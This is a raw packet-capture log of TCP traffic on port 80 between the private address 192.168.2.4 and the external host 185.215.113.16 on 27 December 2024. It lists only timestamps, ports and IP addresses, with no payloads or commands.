Dec 27, 2024 09:01:47.688348055 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.689066887 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.689115047 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.689156055 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.689167976 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.689167976 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.689208031 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.689893961 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.689950943 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.689963102 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.690009117 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.690032959 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.690077066 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.690752983 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.690844059 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.690855026 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.690905094 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.690927029 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.690969944 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.691626072 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.691688061 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.691699028 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.691742897 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.691780090 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.691828012 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.692497969 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.692563057 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.692574024 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.692616940 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.692650080 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.692692995 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.693397045 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.693434954 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.693447113 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.693489075 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.693556070 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.693599939 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.694256067 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.694314003 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.694327116 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.694375038 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.694401026 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.694446087 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.695137024 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.695205927 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.695223093 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.695266008 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.695321083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.695363045 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.696027040 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.696048021 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.696059942 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.696119070 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.696146965 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.696203947 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.696883917 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.696940899 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.696953058 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.696994066 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.697029114 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.697093010 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.697767019 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.697815895 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.697828054 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.697874069 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.697947025 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.697989941 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.698667049 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.698688984 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.698700905 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.698731899 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.698812008 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.699569941 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.699628115 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.869002104 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.869031906 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.869045973 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.869059086 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.869127989 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.869169950 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.869463921 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.869518042 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.869529009 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.869573116 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.869668961 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.869715929 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.870129108 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.870172024 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.870191097 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.870229959 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.870250940 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.870315075 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.870975971 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.871054888 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.871067047 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.871153116 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.871139050 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.871195078 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.871853113 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.871913910 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.871933937 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.871974945 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.871975899 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.872030020 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.872725010 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.872745991 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.872764111 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.872801065 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.872870922 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.872926950 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.873614073 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.873639107 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.873647928 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.873697042 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.873732090 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.874517918 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.874530077 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.874542952 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.874573946 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.874631882 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.874676943 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.875355005 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.875394106 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.875405073 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.875466108 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.875489950 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.875535011 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.876240969 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.876287937 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.876300097 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.876353025 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.876388073 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.876430035 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.877160072 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.877177954 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.877185106 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.877233028 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.877243042 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.877285957 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.878010035 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.878109932 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.878123045 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.878134966 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.878164053 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.878196955 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.878876925 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.878920078 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.878931999 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.878978968 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.879031897 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.879074097 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.879754066 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.879798889 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.879811049 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.879852057 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.879874945 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.879916906 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.880599022 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.880671024 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.880688906 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.880728960 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.880752087 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.880795002 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.881464005 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.881542921 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.881555080 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.881593943 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.881659985 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.881701946 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.882342100 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.882431984 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.882442951 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.882481098 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.882483959 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.882529020 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.883282900 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.883346081 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.883358002 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.883389950 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.883395910 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.883438110 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.884109974 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.884160042 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.884166956 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.884208918 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.884234905 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.884278059 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.884952068 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.885013103 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.885025978 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.885066032 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.885088921 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.885133028 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.885831118 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.885894060 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.885906935 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.885938883 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.885989904 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.886034012 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.886738062 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.886801958 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.886814117 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.886859894 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.886888027 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.886934042 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.887614965 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.887664080 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.887670994 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.887718916 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.887756109 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.887804985 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.888463974 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.888508081 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.888520002 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.888557911 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.888628960 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.888674974 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.889344931 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.889400005 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.889406919 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.889451027 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.889486074 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.889528990 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.890209913 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.890259027 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.890269995 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.890300989 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.890361071 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.890403986 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.891084909 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.891134024 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.891144037 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.891194105 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.060918093 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.060971022 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.060982943 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.061005116 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.061100006 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.061168909 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.061306000 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.061461926 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.061472893 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.061523914 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.061640978 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.062177896 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.062197924 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.062210083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.062239885 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.062264919 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.062303066 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.062370062 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.063035011 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.063095093 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.063107014 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.063173056 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.063177109 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.063232899 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.063961983 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.063973904 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.063986063 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.064024925 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.064064026 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.064160109 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.064830065 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.064851046 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.064867020 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.064944983 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.065000057 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.065047979 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.065680981 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.065736055 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.065747976 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.065790892 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.065892935 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.065936089 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.066548109 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.066612005 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.066623926 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.066669941 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.066704988 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.066749096 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.067425013 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.067472935 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.067485094 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.067528009 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.067591906 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.067636013 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.068295002 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.068337917 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.068351030 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.068427086 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.068458080 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.068500042 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.069165945 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.069214106 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.069226027 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.069273949 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.069312096 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.069360971 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.070003033 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.070063114 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.070075989 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.070123911 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.070152998 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.070195913 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.070893049 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.070930958 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.070941925 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.070975065 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.071012020 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.071060896 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.071767092 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.071851969 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.071865082 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.071903944 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.071913004 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.071974039 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.072652102 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.072675943 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.072695017 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.072748899 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.072907925 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.072953939 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.073523998 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.073565006 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.073576927 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.073626041 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.073700905 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.073745966 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.074418068 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.074469090 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.074481010 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.074522972 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.074594975 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.074639082 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.075283051 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.075344086 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.075357914 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.075402975 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.075419903 CET	80	49876	185.215.113.16	192.168.2.4
